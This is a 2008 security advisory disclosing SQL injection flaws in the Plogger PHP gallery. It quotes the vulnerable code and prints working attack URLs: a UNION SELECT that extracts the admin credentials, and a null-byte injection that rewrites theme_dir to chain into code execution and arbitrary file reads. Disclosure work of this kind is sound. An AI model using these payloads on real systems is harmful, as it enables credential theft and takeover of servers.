########################################################## # GulfTech Security Research August 05, 2008 ########################################################## # Vendor : Mike Johnson # URL : http://www.plogger.org/ # Version : Plogger <= 3.0 # Risk : SQL Injection ########################################################## Description: Plogger is a popular online gallery tool written in php that allows users to create an online gallery. It is vulnerable to SQL Injection issues, which also allow for arbitrary file disclosure since certain data from the returned SQL results is used as a filename argument when calling file_get_contents(). Together these issues can be used to completely take over the vulnerable Plogger application. All users should upgrade their Plogger installations as soon as possible. SQL Injection: There are a number of SQL Injection issues within plogger. The issues can be found in plog-download.php, and plog-remote.php As mentioned earlier this issue also allows for the download of arbitrary files on the target web server. elseif($type == "album" || $type == "search"){ foreach ($checked as $pid){ $query = "SELECT * FROM `".TABLE_PREFIX."pictures` WHERE `id`='".$pid."'"; $result = run_query($query); while ($row = mysql_fetch_assoc($result)){ $file_contents = file_get_contents("images/".$row["path"], true); $zipfile -> add_file($file_contents, $row["path"]); } } } The above code comes from plog-download.php @ lines 285-297 and shows how both SQL Injection and arbitrary file access are possible via the same flaw. The "checked" variable is taken directly from $_REQUEST['checked'] and never get's sanitized. The issues in plog-remote.php are similar and basically come down to the various commands sending unsanitized gpc variables to the get_album_by_name() function. The only commands within plog-remote.php that are not vuln are "fetch-albums" and "login" /plog-download.php?dl_type=album&checked[]=' UNION SELECT concat (admin_username,char(58),admin_password),0,0,0,0,0,0,0,0,0,0,0,0 ,0,0 FROM plogger_config/* The above url would successfully download the admin credentials in the form of a zip file. To read arbitrary files on the server vs reading admin credentials an attacker simply need to supply the relative location of a file on the webserver in place of the data in the first column of the union select above. It is also worth mentioning that once an attacker has admin access, executing arbitrary code is very much possible by updating the "theme_dir" settings in the database to include an arbitrary path to an uploaded image, that is terminated with a null byte. // insert into database $new_theme_dir = basename($_REQUEST["activate"]); $metafile = $config['basedir'] . '/themes/' . $new_theme_dir . '/meta.php'; if (file_exists($metafile)) { include($metafile); $sql = 'UPDATE '.TABLE_PREFIX.'config SET `theme_dir` = \''.$new_theme_dir.'\''; $name = $theme_name . ' ' . $version; if (mysql_query($sql)) { $output .= '<p class="actions">' . sprintf(plog_tr("Activated New Theme <strong>%s</strong>"),$name). '</p>'; } else { $output .= '<p class="errors">' . plog_tr("Error Activating Theme!") . '</p>'; }; // update config variable if page doesn't refresh $config["theme_dir"] = $new_theme_dir; } else { $output .= '<p class="errors">' . plog_tr("No such theme") . '</p>'; }; The above code comes from /admin/plog-themes.php @ lines 40-57 and shows a possible avenue for attackers to use in order to update the 'theme_dir' in the database. The only trick to this is we have make the "activate" parameter pass both the file_exists() check, the basename() check, and still have it update the "theme"dir" data in the database with our arbitrary file path. /admin/plog-themes.php?activate=%00', `theme_dir` = concat (feed_title,char(0)) -- * The above url will successfully copy the data that is contained within the "feed_title" column in the database to the "theme_dir" column, while at the same time passing both sanity checks. The "feed_title" column can be updated from the main administrative options and gladly accepts our arbitrary traversed file path leading to the image file containing malicious php code. Since the first byte of our "activate" parameter contains a null byte the file_exists() check only sees "/themes/" as the path, instead of the data contained in the "activate" parameter, and thus passes the file_exists() check. I terminate the above query with " -- " vs "/*" since the basename() function will cause problems if we terminate the query this way due to the backslash that would be used in the query termination. Solution: Fixes for the issues mentioned in this advisory are already available via the Plogger public SVN, and a new version of Plogger which also addresses these issues will be available later in the week. Credits: James Bercegay of the GulfTech Security Research Team Related Info: The original advisory can be found at the following location http://www.gulftech.org/?node=research&article_id=00121-08042008